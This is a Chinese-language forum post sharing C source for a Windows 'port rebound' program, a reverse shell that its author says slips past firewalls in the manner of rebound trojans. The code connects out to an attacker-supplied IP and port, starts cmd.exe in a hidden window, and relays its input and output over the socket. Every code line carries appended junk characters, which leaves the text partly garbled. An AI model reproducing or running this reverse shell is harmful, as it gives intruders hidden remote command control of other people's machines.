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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v]!|\]  
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/* ============================== 9]AKNQq m  
Rebound port in Windows NT /Zm@.%.  
By wind,2006/7 :Bn\1\  
===============================*/ 0n(Q@O  
#include W_iP/xL  
#include ve K  
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#pragma comment(lib,"wsock32.lib") J4S2vBe16  
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void OutputShell(); %>JqwMK  
SOCKET sClient; aP"i_!\.aa  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8, B9y D  
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void main(int argc,char **argv) F$+_Z~yt3;  
{ =?FA9wm  
WSADATA stWsaData; F"0 tv$  
int nRet; %mI`mpf  
SOCKADDR_IN stSaiClient,stSaiServer; j&44wuf  
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if(argc != 3) 9cj=CuE  
{ 2V~Yb1P  
printf("Useage:\n\rRebound DestIP DestPort\n"); %mxG;w$  
return; $}HSU>,%  
} W?6RUyMC$T  
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WSAStartup(MAKEWORD(2,2),&stWsaData); %/sf#8^m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ay56@_d2  
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stSaiClient.sin_family = AF_INET; Z/_RQ q   
stSaiClient.sin_port = htons(0); TcGxm7T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zu+Z7@$}/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $ Q2|{*  
{ kM9E)uT>(<  
printf("Bind Socket Failed!\n"); VBd.5YW  
return; RrRCT.+E  
} Z~]17{x0  
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stSaiServer.sin_family = AF_INET; nR ,j1IUF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2QBq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X1" `0r3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YSZz4?9\  
{ Ymn0?$,D1=  
printf("Connect Error!"); 7H./o Vl  
return; 85H8`YwPh  
} .m+KXlP  
OutputShell(); 8{h:z 9]J  
} T4Zp5m")  
* .Kc-f4mP  
void OutputShell() SM@1<OCc  
{ vU~#6sl  
char szBuff[1024]; *;4r|# LG  
SECURITY_ATTRIBUTES stSecurityAttributes; * SC~_  
OSVERSIONINFO stOsversionInfo; rJg! 2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #X|'RL($  
STARTUPINFO stStartupInfo; VxsW3*`  
char *szShell; B:SzCC.B  
PROCESS_INFORMATION stProcessInformation; +]I7)  
unsigned long lBytesRead; < FN[{YsA  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W\X51DrEx  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uTn(fs) D  
stSecurityAttributes.lpSecurityDescriptor = 0; FK+jfr [  
stSecurityAttributes.bInheritHandle = TRUE; kgYa0 e5  
B_@>HZ\&  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }Z%*gfp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dD!} P$  
l-M~e]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K b{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L2Mcs  
stStartupInfo.wShowWindow = SW_HIDE; JYKaF6bx8  
stStartupInfo.hStdInput = hReadPipe; [j-]n#E=9y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8Zwq:lV Q  
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GetVersionEx(&stOsversionInfo); 2uU~$7~N  
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switch(stOsversionInfo.dwPlatformId) szWh#O5=  
{ #d__  
case 1: \@tt$ m%  
szShell = "command.com"; 4Mnne'7  
break; J]Uki*s  
default: '{Iv?gh"  
szShell = "cmd.exe"; g+)T\_#u  
break; 54tpR6%3p  
} ^[d)Hk}L  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  ^d4#  
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send(sClient,szMsg,77,0); /Nb&e  
while(1) .4.zy]I  
{ =>/aM7]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ! QP~#a%  
if(lBytesRead) ])T*T$u  
{ &Zq43~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mp !6MOQ  
send(sClient,szBuff,lBytesRead,0); /GfC/)1_  
} glPOW  
else 3Pkzzyk_|D  
{ 8?P@<Do%  
lBytesRead=recv(sClient,szBuff,1024,0); W=]QTx,J  
if(lBytesRead<=0) break; >/}v8 k1v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d-39G*;1  
} U0UOubA  
} P\N$TYeH  
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return; f; >DM  
}
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